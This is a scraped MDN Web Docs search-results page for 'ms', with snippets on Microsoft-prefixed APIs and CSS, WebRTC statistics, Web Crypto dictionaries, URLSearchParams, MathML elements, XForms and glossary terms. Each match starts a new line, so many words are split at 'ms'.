mscandidatewindowshow", handler, usecapture) parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event.
... example in ie11, developers can detect the opening of the ime candidate window by listening to
mscandidatewindowshow event, then call getcandidatewindowclientrect() function to find out where the candidate window is and position the suggestion ui away from it: var context = document.getelementbyid("mysearchbox").
msgetinputcontext(); context.addeventlistener("
mscandidatewindowshow", candidatewindowshowhandler); function candidatewindowshowhandler(e) { var imerect = context.getcandidatewin...
...} when the ime candidate window changes position or closes, it fires
mscandidatewindowupdate or
mscandidatewindowhide events.
MSGraphicsTrust - Web APIs
the
msgraphicstrust() constructor returns an object that provides properties for info on protected video playback.
... syntax var trustobject = media.
msgraphicstruststatus; parameters constrictionactive a read-only property which returns true when protected media is forced to play in a lower resolution.
... inheritance hierarchy the
msgraphicstrust does not inherit from any class or interface.
... example var trustobject = media.
msgraphicstruststatus; ...
Media Capture and Streams API (Media Stream) - Web APIs
the media capture and strea
ms api, often called the media strea
ms api or simply mediastream api, is an api related to webrtc which provides support for streaming audio and video data.
... it provides the interfaces and methods for working with the strea
ms and their constituent tracks, the constraints associated with data formats, the success and error callbacks when using the data asynchronously, and the events that are fired during the process.
... interfaces in these reference articles, you'll find the fundamental information you'll need to know about each of the interfaces that make up the media capture and strea
ms api.
... blobevent canvascapturemediastreamtrack inputdeviceinfo mediadevicekind mediadeviceinfo mediadevices mediastream mediastreamconstraints mediastreamevent mediastreamtrack mediastreamtrackevent mediatrackconstraints mediatracksettings mediatracksupportedconstraints overconstrainederror url early versions of the media capture and strea
ms api specification included separate audiostreamtrack and videostreamtrack interfaces—each based upon mediastreamtrack—which represented strea
ms of those types.
msFirstPaint - Web APIs
msfirstpaint is a read-only property which gets the time when the document loaded by the window object began to be displayed to the user.
... put another way,
msfirstpaint utilizes the browser to measure when the first content completes being painted in the window.
... syntax p = object.
msfirstpaint; value an integer value that represents the time when the document began to be displayed or 0 if the document could not be loaded.
... var otiming = window.performance.timing; var itime
ms = otiming.
msfirstpaint - otiming.navigationstart; ...
msRealTime - Web APIs
msrealtime is a read/write property which specifies whether or not to enable low-latency playback on the media element.
... syntax ptr = object.
msrealtime; value boolean value set to true indicates that low-latency playback will be enabled on the media element.
... you must set the
msrealtime before setting the src property in code.
...
msrealtime should not be used in non-real-time or non-communication scenarios, such as audio and/or video playback, as this can affects playback startup latency of audio and video playback.
Pbkdf2Params - Web APIs
the pbkdf2para
ms dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.derivekey(), when using the pbkdf2 algorithm.
... properties name a do
mstring.
... hash a do
mstring representing the digest algorithm to use.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.pbkdf2para
ms' in that specification.
RTCInboundRtpStreamStats.bytesReceived - Web APIs
the rtcinboundrtpstrea
mstats dictionary's bytesreceived property is an integer value which indicates the total number of bytes received so far from this synchronization source (ssrc).
... syntax var bytesreceived = rtcinboundrtpstrea
mstats.bytesreceived; value an unsigned integer value indicating the total number of bytes received so far on this rtp stream, not including header and padding bytes.
... this value can be used to calculate an approximation of the average media data rate: avgdatarate = rtcinboundrtpstrea
mstats.bytesreceived / elapsedtime; this value gets reset to zero if the sender's ssrc identifier changes for any reason.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats.bytesreceived' in that specification.
RTCInboundRtpStreamStats.perDscpPacketsReceived - Web APIs
the perdscppacketsreceived property of the rtcinboundrtpstrea
mstats dictionary is a record comprised of key/value pairs in which each key is a string representation of a differentiated services code point and the value is the number of packets received for that dcsp.
... note: not all operating syste
ms make data available on a per-dscp basis, so this property shouldn't be relied upon on those syste
ms.
... syntax var perdscppacketsreceived = rtcinboundrtpstrea
mstats.perdscppacketsreceived; value a record comprised of string/value pairs.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats.perdscppacketsreceived' in that specification.
RTCInboundRtpStreamStats.pliCount - Web APIs
the plicount property of the rtcinboundrtpstrea
mstats dictionary states the number of times the rtcrtpreceiver described by these statistics sent a picture loss indication (pli) packet to the sender.
... syntax var plicount = rtcinboundrtpstrea
mstats.plicount; value an integer value indicating the number of times a pli packet was sent by the rtcrtpreceiver to the sender.
...this information is only available for video strea
ms.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats.plicount' in that specification.
RTCInboundRtpStreamStats.qpSum - Web APIs
the qpsum property of the rtcinboundrtpstrea
mstats dictionary is a value generated by adding the quantization parameter (qp) values for every frame sent or received to date on the video track corresponding to this rtcinboundrtpstrea
mstats object.
... syntax var qpsum = rtcinboundrtpstrea
mstats.qpsum; value an unsigned 64-bit integer value which indicates the sum of the quantization parameter (qp) value for every frame sent or received so far on the track described by the rtcinboundrtpstrea
mstats object.
...you can, for example, use the value of rtcreceivedrtpstrea
mstats.framesdecoded if receiving the media or rtcsentrtpstrea
mstats.framesencoded if sending it to get the number of frames handled so far, and compute an average from there.
...ote-inbound-rtp": framecount = stats.framesdecoded; break; case "outbound-rtp": case "remote-outbound-rtp": framecount = stats.framesencoded; break; default: return 0; } return status.qpsum / framecount; } specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats.qpsum' in that specification.
RTCOutboundRtpStreamStats.framesEncoded - Web APIs
the framesencoded property of the rtcoutboundrtpstrea
mstats dictionary indicates the total number of frames that have been encoded by this rtcrtpsender for this media source.
... syntax var framesencoded = rtcoutboundrtpstrea
mstats.framesencoded; value an integer value indicating the total number of video frames that this sender has encoded so far for this stream.
... note: this property is only valid for video strea
ms.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstrea
mstats.framesencoded' in that specification.
RTCOutboundRtpStreamStats.perDscpPacketsSent - Web APIs
the perdscppacketssent property of the rtcoutboundrtpstrea
mstats dictionary is a record comprised of key/value pairs in which each key is a string representation of a differentiated services code point and the value is the number of packets sent for that dcsp.
... note: not all operating syste
ms make data available on a per-dscp basis, so this property shouldn't be relied upon on those syste
ms.
... syntax var perdscppacketssent = rtcoutboundrtpstrea
mstats.perdscppacketssent; value a record comprised of string/value pairs.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstrea
mstats.perdscppacketssent' in that specification.
RTCOutboundRtpStreamStats.qpSum - Web APIs
the qpsum property of the rtcoutboundrtpstrea
mstats dictionary is a value generated by adding the quantization parameter (qp) values for every frame this sender has produced to date on the video track corresponding to this rtcoutboundrtpstrea
mstats object.
... syntax var qpsum = rtcoutboundrtpstrea
mstats.qpsum; value an unsigned 64-bit integer value which indicates the sum of the quantization parameter (qp) value for every frame sent so far on the track described by the rtcoutboundrtpstrea
mstats object.
...you can use the value of rtcsentrtpstrea
mstats.framesencoded to get the number of frames that have been encoded so far, and compute an average from there.
...te-inbound-rtp": framecount = stats.framesdecoded; break; case "outbound-rtp": case "remote-outbound-rtp": framecount = stats.framesencoded; break; default: return 0; } return status.qpsum / framecount; } specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstrea
mstats.qpsum' in that specification.
RTCRtpStreamStats.firCount - Web APIs
the fircount property of the rtcrtpstrea
mstats dictionary indicates the number of full intra request (fir) packets have been sent by the receiver to the sender.
... syntax var fircount = rtcrtpstrea
mstats.fircount; value an integer value indicating how many fir packets have been received by the sender during the current connection.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats: fircount' in that specification.
... identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstrea
mstats: fircount' in that specification.
RTCRtpStreamStats.nackCount - Web APIs
the nackcount property of the rtcrtpstrea
mstats dictionary is a numeric value indicating the number of times the receiver sent a nack packet to the sender.
... syntax var nackcount = rtcrtpstrea
mstats.nackcount; value an integer value indicating how many times the receiver sent a nack packet to the sender after detecting that one or more packets were lost during transport.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats: nackcount' in that specification.
... identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstrea
mstats: nackcount' in that specification.
RTCRtpStreamStats.pliCount - Web APIs
the plicount property of the rtcrtpstrea
mstats dictionary states the number of times the stream's receiving end sent a picture loss indication (pli) packet to the sender.
... syntax var plicount = rtcrtpstrea
mstats.plicount; value an integer value indicating the number of times a pli packet was sent by the stream's receiver to the sender.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats: plicount' in that specification.
... identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstrea
mstats: plicount' in that specification.
RTCRtpStreamStats.sliCount - Web APIs
the slicount property of the rtcrtpstrea
mstats dictionary indicates how many slice loss indication (sli) packets were received by the sender.
... syntax var slicount = rtcrtpstrea
mstats.slicount; value an unsigned long integer indicating the number of sli packets the sender received from the receiver due to lost runs of macroblocks.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstrea
mstats: slicount' in that specification.
... identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstrea
mstats: slicount' in that specification.
RTCTrackEventInit.streams - Web APIs
the rtctrackeventinit dictionary's optional strea
ms property provides an array containing a mediastream object for each of the strea
ms associated with the event's track.
... syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, strea
ms: [videostream], transceiver: rtptransceiver }; var streamlist = trackeventinit.strea
ms; value an array of mediastream objects, one for each stream which make up the track.
... if strea
ms is not specified, its default value is an empty array.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.strea
ms' in that specification.
RsaHashedImportParams - Web APIs
the rsahashedimportpara
ms dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.importkey() or subtlecrypto.unwrapkey(), when importing any rsa-based key pair: that is, when the algorithm is identified as any of rsassa-pkcs1-v1_5, rsa-pss, or rsa-oaep.
... properties name a do
mstring.
... hash a do
mstring representing the name of the digest function to use.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.rsahashedimportpara
ms' in that specification.
RsaHashedKeyGenParams - Web APIs
the rsahashedkeygenpara
ms dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.generatekey(), when generating any rsa-based key pair: that is, when the algorithm is identified as any of rsassa-pkcs1-v1_5, rsa-pss, or rsa-oaep.
... properties name a do
mstring.
... hash a do
mstring representing the name of the digest function to use.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.rsahashedkeygenpara
ms' in that specification.
URL.searchParams - Web APIs
the searchpara
ms readonly property of the url interface returns a urlsearchpara
ms object allowing access to the get decoded query arguments contained in the url.
... syntax const urlsearchpara
ms = url.searchpara
ms value a urlsearchpara
ms object.
... examples if the url of your page is https://example.com/?name=jonathan%20smith&age=18 you could parse out the name and age parameters using: let para
ms = (new url(document.location)).searchpara
ms; let name = para
ms.get('name'); // is the string "jonathan smith".
... let age = parseint(para
ms.get('age')); // is the number 18 specifications specification status comment urlthe definition of 'searchpara
ms' in that specification.
URLSearchParams.append() - Web APIs
the append() method of the urlsearchpara
ms interface appends a specified key/value pair as a new search parameter.
... syntax urlsearchpara
ms.append(name, value) parameters name the name of the parameter to append.
... examples let url = new url('https://example.com?foo=1&bar=2'); let para
ms = new urlsearchpara
ms(url.search.slice(1)); //add a second foo parameter.
... para
ms.append('foo', 4); //query string is now: 'foo=1&bar=2&foo=4' specifications specification status comment urlthe definition of 'append()' in that specification.
URLSearchParams.delete() - Web APIs
the delete() method of the urlsearchpara
ms interface deletes the given search parameter and all its associated values, from the list of all search parameters.
... syntax urlsearchpara
ms.delete(name) parameters name the name of the parameter to be deleted.
... return value void examples let url = new url('https://example.com?foo=1&bar=2&foo=3'); let para
ms = new urlsearchpara
ms(url.search.slice(1)); // delete the foo parameter.
... para
ms.delete('foo'); //query string is now: 'bar=2' specifications specification status comment urlthe definition of 'delete()' in that specification.
URLSearchParams.getAll() - Web APIs
the getall() method of the urlsearchpara
ms interface returns all the values associated with a given search parameter as an array.
... syntax urlsearchpara
ms.getall(name) parameters name the name of the parameter to return.
... examples let url = new url('https://example.com?foo=1&bar=2'); let para
ms = new urlsearchpara
ms(url.search.slice(1)); //add a second foo parameter.
... para
ms.append('foo', 4); console.log(para
ms.getall('foo')) //prints ["1","4"].
msCaching - Web APIs
the
mscaching read/write property specifies whether stream data downloaded using xmlhttprequestis cached to disk or not.
... syntax cachestate = object.
mscaching values type: do
mstring property value description auto disables caching for stream or
ms-stream data.
... enabled enables caching for stream or
ms-stream data.
... see also
mscachingenabled microsoft api extensions ...
msthumbnailclick - Web APIs
the
msthumbnailclick event occurs when a user clicks a button or thumbnail icon in the taskbar.
... syntax event property object.on
msthumbnailclick = handler; addeventlistener method object.addeventlistener("
msthumbnailclick", handler, usecapture) general info synchronous no bubbles no cancelable no note the on
msthumbnailclick event is available only to documents that are launched from a pinned site shortcut.
... example function thumbnailclickhandler(evt) { alert ("clicked button: " + evt.buttonid); } document.addeventlistener('
msthumbnailclick', thumbnailclickhandler); example 2 // adds an overlay icon on your app pinned to the taskbar window.external.
mssitemodeseticonoverlay(iconuri, tooltip); // removes an overlay icon window.external.
mssitemodecleariconoverlay(); // pinned icons on your taskbar can be instructed to trigger specific events on your site from the taskbar // add an event handlerdocument.addeventlistener('
msthumbnailclick', onbuttonclicked, false); // add the buttons var btnplay = window.external.
mssitemodeaddthumbbarbutton(iconuri, tooltip); // refresh the task...
...bar window.external.
mssitemodeshowthumbbar(); // call a javascript function when the button is pressed function onbuttonclicked(e) { switch (e.buttonid) { case btnplay: play(); break;} } see also microsoft api extensions ...
CSS Transforms - CSS: Cascading Style Sheets
css transfor
ms is a module of css that defines how elements styled with css can be transformed in two-dimensional or three-dimensional space.
... reference properties backface-visibility perspective perspective-origin rotate scale transform transform-box transform-origin transform-style translate data types <transform-function> guides using css transfor
ms step-by-step tutorial about how to transform elements styled with css.
... specifications specification status comment css transfor
ms level 1 working draft initial definition.
... css transfor
ms level 2 editor's draft adds individual transfor
ms.
<mspace> - MathML
the mathml <
mspace> element is used to display a blank space, whose size is set by its attributes.
... note that some common attributes like mathcolor, mathvariant or dir have no effect on <
mspace>.
... examples <math> <
mspace depth="40px" height="20px" /> <
mspace width="100px" /> </math> specifications specification status comment mathml 3.0the definition of '
mspace' in that specification.
... recommendation current specification mathml 2.0the definition of '
mspace' in that specification.
<msqrt> - MathML
the mathml <
msqrt> element is used to display square roots (no index is displayed).
... the square root accepts only one argument, which leads to the following syntax: <
msqrt> base </
msqrt>.
... examples sample rendering: rendering in your browser: x <math> <
msqrt> <mi>x</mi> </
msqrt> </math> specifications specification status comment mathml 3.0the definition of '
msqrt' in that specification.
... recommendation current specification mathml 2.0the definition of '
msqrt' in that specification.
<msub> - MathML
the mathml <
msub> element is used to attach a subscript to an expression.
... it uses the following syntax: <
msub> base subscript </
msub>.
... examples sample rendering: rendering in your browser: x 1 <math> <
msub> <mi>x</mi> <mn>1</mn> </
msub> </math> specifications specification status comment mathml 3.0the definition of '
msub' in that specification.
... recommendation current specification mathml 2.0the definition of '
msub' in that specification.
<msubsup> - MathML
the mathml <
msubsup> element is used to attach both a subscript and a superscript, together, to an expression.
... it uses the following syntax: <
msubsup> base subscript superscript </
msubsup>.
... examples sample rendering: rendering in your browser: ∫ 0 1 <math displaystyle="true"> <
msubsup> <mo> ∫<!--integral --> </mo> <mn> 0 </mn> <mn> 1 </mn> </
msubsup> </math> specifications specification status comment mathml 3.0the definition of '
msubsup' in that specification.
... recommendation current specification mathml 2.0the definition of '
msubsup' in that specification.
<msup> - MathML
the mathml <
msup> element is used to attach a superscript to an expression.
... it uses the following syntax: <
msup> base superscript </
msup>.
... examples sample rendering: rendering in your browser: x 2 <math> <
msup> <mi>x</mi> <mn>2</mn> </
msup> </math> specifications specification status comment mathml 3.0the definition of '
msup' in that specification.
... recommendation current specification mathml 2.0the definition of '
msup' in that specification.
Weak signature algorithms - Web security
this article provides some information about signature algorith
ms known to be weak, so you can avoid them when appropriate.
... weaknesses in hash algorith
ms can lead to situations in which attackers can create or obtain fraudulent certificates.
... as new attacks are found and improvements in available technology make attacks more feasible, the use of older algorith
ms is discouraged and support for them is eventually removed.
...certificates employing more secure hash algorith
ms (such as sha-256 or sha-512) should be used instead.
-ms-content-zoom-limit-max - Archive of obsolete content
the -
ms-content-zoom-limit-max css property is a microsoft extension that specifies the selected elements' maximum zoom factor.
... remarks this property constrains the limit for touch zooming as well as values of the
mscontentzoomfactor property.
...see -
ms-content-zooming for details on zoomable elements.
-ms-content-zoom-limit-min - Archive of obsolete content
the -
ms-content-zoom-limit-min css property is a microsoft extension that specifies the minimum zoom factor.
... remarks this property constrains the limit for touch zooming as well as values of the
mscontentzoomfactor property.
...see -
ms-content-zooming for details on zoomable elements.
-ms-ime-align - Archive of obsolete content
the -
ms-ime-align css property is a microsoft extension aligning the input method editor (ime) candidate window box relative to the element on which the ime composition is active.
... in the case of -
ms-ime-align: after, an ime might adjust the candidate window and keyboard input behavior to provide a better user experience, such as using a horizontal candidate list and allowing some keys to be sent to the app for suggestion list navigation.
... initial valueautoapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete syntax /* keyword values */ -
ms-ime-align: auto; -
ms-ime-align: after; values auto initial value.
-ms-overflow-style - Archive of obsolete content
the -
ms-overflow-style css property is a microsoft extension controlling the behavior of scrollbars when the content of an element overflows.
... -
ms-autohiding-scrollbar auto-hiding scrollbars are used if the element's content overflows.
... formal syntax auto | none | scrollbar | -
ms-autohiding-scrollbar specifications not part of any specification.
-ms-scrollbar-3dlight-color - Archive of obsolete content
the -
ms-scrollbar-3dlight-color css property is a microsoft extension specifying the color of the top and left edges of the scroll box and scroll arrows of a scroll bar.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples the following example shows how to create a style rule that sets the -
ms-scrollbar-3dlight-color property for a <textarea> element.
... code example: http://samples.
msdn.microsoft.com/workshop/samples/author/dhtml/refs/scrollbarcolor.htm <!doctype html> <html> <head> <title>scrollbar-3dlight-color</title> <style> .blue3dlight { -
ms-scrollbar-3dlight-color: blue; scrollbar-3dlight-color: blue; /* use the standard when available.
-ms-scrollbar-darkshadow-color - Archive of obsolete content
the -
ms-scrollbar-darkshadow-color css property is a microsoft extension that specifies the color of a scroll bar's gutter.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples the following example shows how to create a style rule that sets the -
ms-scrollbar-darkshadow-color property for a <textarea> element.
... code example: http://samples.
msdn.microsoft.com/workshop/samples/author/dhtml/refs/scrollbarcolor.htm <!doctype html> <html> <head> <title>scrollbar-darkshadow-color</title> <style> .blueshadow { scrollbar-darkshadow-color: blue; } </style> </head> <body> <textarea class="blueshadow">the gutter elements in the scroll bar for this element will be blue.</textarea> </body> </html> specifications not part of any specification.
-ms-scrollbar-highlight-color - Archive of obsolete content
the -
ms-scrollbar-highlight-color css property is a microsoft extension that specifies the color of the slider tray, the top and left edges of the scroll box, and the scroll arrows of a scroll bar.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples this example uses -
ms-scrollbar-highlight-color, -
ms-scrollbar-face-color, and -
ms-scrollbar-arrow-color to create two <div> objects with different scroll bar color schemes.
... div { width: 150px; height: 150px; border-style: solid; border-width: thin; overflow-y: scroll; font-family: sans-serif; float: left; margin-right: 10px; } .bluescroll { -
ms-scrollbar-highlight-color: aqua; -
ms-scrollbar-face-color: blue; -
ms-scrollbar-arrow-color: blue; border-color: blue; } .redscroll { -
ms-scrollbar-highlight-color: bisque; -
ms-scrollbar-face-color: red; -
ms-scrollbar-arrow-color: red; border-color: red; } <body> <div class="bluescroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
-ms-scrollbar-track-color - Archive of obsolete content
the -
ms-scrollbar-track-color css property is a microsoft extension that specifies the color of the track element of a scrollbar.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples this example uses -
ms-scrollbar-track-color, -
ms-scrollbar-face-color, and -
ms-scrollbar-arrow-color to create two <div> elements with different scroll bar color schemes.
... div { width: 150px; height: 150px; border-style: solid; border-width: thin; overflow-y: scroll; font-family: sans-serif; float: left; margin-right: 10px; } .bluescroll { -
ms-scrollbar-highlight-color: aqua; -
ms-scrollbar-face-color: blue; -
ms-scrollbar-arrow-color: blue; border-color: blue; } .redscroll { -
ms-scrollbar-highlight-color: bisque; -
ms-scrollbar-face-color: red; -
ms-scrollbar-arrow-color: red; border-color: red; } <body> <div class="bluescroll"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.
-ms-wrap-flow - Archive of obsolete content
the -
ms-wrap-flow css property is a microsoft extension that specifies how exclusions impact inline content within block-level elements.
... remarks the -
ms-wrap-flow property makes an element an exclusion element when it has a computed value other than auto.
... when the -
ms-wrap-flow property's computed value is auto, the element does not become an exclusion element unless its float property's computed value is not none.
::-ms-fill-lower - Archive of obsolete content
the ::-
ms-fill-lower css pseudo-element represents the lower portion of the track of a slider control; that is, the portion corresponding to values less than the value currently selected by the thumb.
... allowable properties only the following css properties can be used in a rule with ::-
ms-fill-lower in its selector.
...r border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -
ms-background-position-x -
ms-background-position-y -
ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width specifications not part of any specification.
::-ms-tooltip - Archive of obsolete content
the ::-
ms-tooltip css pseudo-element is a microsoft extension that represents the tooltip of a slider control.
... allowable properties only the following css properties can be used in a rule with ::-
ms-tooltip in its selector.
... display visibility syntax ::-
ms-tooltip ...
::-ms-value - Archive of obsolete content
the ::-
ms-value css pseudo-element is a microsoft extension that applies rules to the value of a text or password <input> control or the content of a <select> control.
... allowable properties only the following css properties can be used in a rule with ::-
ms-value in its selector.
...r border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -
ms-background-position-x -
ms-background-position-y -
ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-
ms-value example input::-
ms-value { color: lime; font-style: italic; } to disable the default styling: select::-
ms-value { background-colo...
Debug.msUpdateAsyncCallbackRelation - Archive of obsolete content
the debug.
msupdateasynccallbackrelation function updates the relationship status between a synchronous work item and the associated asynchronous operation.
... syntax debug.
msupdateasynccallbackrelation(relatedasyncoperationid, relationtype) parameters relatedasyncoperationid the id associated with the asynchronous operation.
... the possible values for relationtype include: debug.
ms_async_callback_status_assign_delegate debug.
ms_async_callback_status_join debug.
ms_async_callback_status_chooseany debug.
ms_async_callback_status_cancel debug.
ms_async_callback_status_error for more information, see debug constants.
XForms API Reference - Archive of obsolete content
this page is the beginning of the xfor
ms api reference.
... note the word beginning :-) naming convention the xfor
ms interfaces has the following naming convention: nsixfor
ms...element interfaces implemented by the c++ part of a control nsixfor
msns...element interfaces extending xfor
ms specification interfaces nsixfor
ms...uielement interfaces implemented by the js part of a control nsixfor
ms...accessors interface exposing states about the bound instance node for a given control frozen interfaces nsixfor
msmodelelement the model interface experimental interfaces nsixfor
msdelegate the delegate interface for xfor
ms:custom_controls nsixfor
msaccessors the accessors interface for xfor
ms:custom_controls nsixfor
msnsmodelelement custom ext...
...ension(s) to the nsixfor
msmodelelement interface nsixfor
msnsinstanceelement custom extension(s) to the instance element ...
XForms Custom Controls Examples - Archive of obsolete content
a full example showing a complete form can be found on xfor
ms:custom_controls.
... output showing images <binding id="output-image" extends="chrome://xfor
ms/content/xfor
ms.xml#xfor
mswidget-base"> <content> <html:div> <html:img anonid="content"/> </html:div> </content> <implementation implements="nsixfor
msuiwidget"> <method name="refresh"> <body> var img = document.getanonymouselementbyattribute(this, "anonid", "content"); img.setattribute("src", this.stringvalue); return true; </body> </method> </implementation> </binding> output showing xhtml <binding id="output-xhtml" extends="chrome://xfor
ms/content/xfor
ms-xhtml.xml#xfor
mswidget-output"> <content> <children includes="label"/> <xhtml:div class="xf-value" anonid="content"></xhtml:div> <children/> </content> <implementation implements="nsixfor
msuiw...
... var val = this.stringvalue; var newdom = this.domparser.parsefro
mstring(val, "text/xml"); var impnode = document.importnode(newdom.firstchild, true); // get content node, clean it, and update it var content = document.getanonymouselementbyattribute(this, "anonid", "content"); if (content.firstchild) { content.removechild(content.firstchild); } content.appendchild(impnode); return true; </body> </method> </implementation> </binding> ...
XForms Label Element - Archive of obsolete content
introduction specifies the label (short description) for the xfor
ms control (see the spec).
... ui behavior accesskey support - if the accesskey attribute is specified on labeled xfor
ms controls or on the label element itself then the label text for the control will contain an indicator as to what the access key is in a standard way.
... representations the xfor
ms label element is represented by the text retrieved from instance data, a document or the label element's own inline content.
XForms Range Element - Archive of obsolete content
single-node binding special incremental - supported, default value is false start - lower bound of possible values end - upper bound of possible values step - is used for incrementing/decrementing values start/end/step attributes if the value of the bound instance node is outside the range of values specified by the start and end attributes, then the range element receives a xfor
ms-out-of-range event.
... if the bound value then becomes in range, the range element receives a xfor
ms-in-range event.
... representations the xfor
ms range element is represented by a slider widget (xhtml only).
XForms Config Variables - Archive of obsolete content
a description of the about:config preferences that xfor
ms uses.
... preference default description xfor
ms.disablepopup false disables xfor
ms engine popup error messages xfor
ms.enableexperimentalfeatures false enable experimental features.
... for now it only enables the xfor
ms 1.1 soap action feature, and only on trunk.
Using XForms and PHP - Archive of obsolete content
introduction a few tips on using xfor
ms and php together.
... returning xml data to either serve a page (with xfor
ms in it) or to generate data used as instance data for xfor
ms, the page needs to be served as xml, for example application/xhtml+xml.
...to really use the power of xfor
ms (/xml) you would probably submit xml.
Flex Item - MDN Web Docs Glossary: Definitions of Web-related terms
the direct children of a flex container (elements with display: flex or display: inline-flex set on them) become flex ite
ms.
... continuous runs of text inside flex containers will also become flex ite
ms.
... learn more property reference align-self flex-basis flex-grow flex-shrink order further reading css flexbox guide: basic concepts of flexbox css flexbox guide: ordering flex ite
ms css flexbox guide: controlling ratios of flex ite
ms along the main axis ...
Grid Cell - MDN Web Docs Glossary: Definitions of Web-related terms
if you do not place ite
ms using one of the grid placement methods, direct children of the grid container will be placed one into each individual grid cell by the auto-placement algorithm.
... additional row or column tracks will be created to create enough cells to hold all ite
ms.
...the five ite
ms are placed into grid cells working along an initial row of three grid cells, then creating a new row for the remaining two.
Long task - MDN Web Docs Glossary: Definitions of Web-related terms
a long task is a task that takes more than 50
ms to complete.
... it is an uninterrupted period where the main ui thread is busy for 50
ms or longer.
... common examples include long running event handlers, expensive reflows and other re-renders, and work the browser does between different turns of the event loop that exceeds 50
ms.
Main Axis - MDN Web Docs Glossary: Definitions of Web-related terms
on the main axis you can control the sizing of flex ite
ms by adding any available space to the ite
ms the
mselves, by way of flex properties on the ite
ms.
... or, you can control the space between and around ite
ms by using the justify-content property.
... learn more property reference flex-basis flex-direction flex-grow flex-shrink justify-content flex further reading css flexbox guide: basic concepts of flexbox css flexbox guide: aligning ite
ms in a flex container css flexbox guide: controlling ratios of flex ite
ms along the main axis ...
Perceived performance - MDN Web Docs Glossary: Definitions of Web-related terms
perceived performance is a subjective measure of how fast a website see
ms to a user based on load time and site responsiveness.
... in ter
ms of web performance, perceived performance is how fast a user interaction feels rather than how fast an interaction actually is, be that a button press or a page load.
...in ter
ms of conversion rates, perceived performance is more important than the actual load and response times.
RAIL - MDN Web Docs Glossary: Definitions of Web-related terms
in acronym order, the main tenets are: response respond to users immediately, acknowledging any user input in 100
ms or less.
... animation when animating, render each frame in under 16
ms, aiming for consistency and avoiding jank.
... idle when using the main javascript thread, work in chunks for less than 50
ms to free up the thread for user interactions.
Symmetric-key cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
symmetric-key cryptography is a term used for cryptographic algorith
ms that use the same key for encryption and for decryption.
... symmetric-key algorith
ms should be secure when used properly and are highly efficient, so they can be used to encrypt large amounts of data without having a negative effect on performance.
... most symmetric-key algorith
ms currently in use are block ciphers: this means that they encrypt data one block at a time.
Vendor Prefix - MDN Web Docs Glossary: Definitions of Web-related terms
css prefixes the major browsers use the following prefixes: -webkit- (chrome, safari, newer versions of opera, almost all ios browsers including firefox for ios; basically, any webkit based browser) -moz- (firefox) -o- (old pre-webkit versions of opera) -
ms- (internet explorer and microsoft edge) sample usage: -webkit-transition: all 4s ease; -moz-transition: all 4s ease; -
ms-transition: all 4s ease; -o-transition: all 4s ease; transition: all 4s ease; api prefixes historically, vendors have also used prefixes for experimental apis.
... interface prefixes prefixes for interface names are upper-cased: webkit (chrome, safari, newer versions of opera, almost all ios browsers (including firefox for ios); basically, any webkit based browser) moz (firefox) o (older, pre-webkit, versions of opera)
ms (internet explorer and microsoft edge) property and method prefixes the prefixes for properties and methods are lower-case: webkit (chrome, safari, newer versions of opera, almost all ios browsers (including firefox for ios); basically, any webkit based browser) moz (firefox) o (old, pre-webkit, versions of opera)
ms (internet explorer and microsoft edge) sample usage: var requestanim...
...ationframe = window.requestanimationframe || window.mozrequestanimationframe || window.webkitrequestanimationframe || window.orequestanimationframe || window.
msrequestanimationframe; learn more general knowledge vendor prefix on wikipedia ...
MDN Web Docs Glossary: Definitions of Web-related terms
glossary of ter
ms a abstraction accessibility accessibility tree (aom) adobe flash ajax algorithm alignment container alignment subject alpha (alpha channel) alpn api apple safari application context argument aria arpa arpanet array ascii asynchronous atag attribute b bandwidth base64 baseline beacon ...
